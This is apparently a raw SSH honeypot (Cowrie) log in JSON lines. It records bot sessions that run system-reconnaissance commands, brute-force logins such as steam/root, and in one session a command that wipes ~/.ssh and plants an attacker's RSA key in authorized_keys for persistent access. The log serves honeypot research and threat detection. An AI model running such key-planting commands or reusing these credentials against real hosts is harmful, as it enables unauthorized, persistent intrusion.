{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.191384Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.194286Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.265490Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.374703Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.378176Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.511372Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.515855Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.523703Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.588194Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.829431Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.832957Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.883442Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.886663Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.958741Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.965061Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.182827Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.186260Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.257155Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.260270Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.269781Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.391698Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.455808Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.459561Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.533623Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.706945Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.710212Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.771435Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.774641Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.846814Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.855960Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:14.865152Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:15.157961Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:15.161587Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:15.294982Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:15.303792Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":40738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8cf181808a8","protocol":"ssh","message":"New connection: 103.158.40.65:40738 (159.203.135.109:22) [session: e8cf181808a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:26.428753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:26.432543Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:26.661863Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2805ab75a35","protocol":"ssh","message":"New connection: 201.6.100.191:52226 (159.203.135.109:22) [session: c2805ab75a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:27.341482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:27.346082Z","src_ip":"201.6.100.191","session":"c2805ab75a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:27.475122Z","src_ip":"201.6.100.191","session":"c2805ab75a35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"root","message":"login attempt [steam/root] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:27.605154Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu123","message":"login attempt [root/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.019615Z","src_ip":"201.6.100.191","session":"c2805ab75a35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.110136Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.113412Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.117280Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.350176Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.845042Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:28.848245Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.077363Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.081906Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.151210Z","src_ip":"201.6.100.191","session":"c2805ab75a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":41574,"dst_ip":"159.203.135.109","dst_port":22,"session":"5252e4ab7fd3","protocol":"ssh","message":"New connection: 103.158.40.65:41574 (159.203.135.109:22) [session: 5252e4ab7fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.263630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.268346Z","src_ip":"103.158.40.65","session":"5252e4ab7fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:29.476197Z","src_ip":"103.158.40.65","session":"5252e4ab7fd3","protocol":"ssh"}
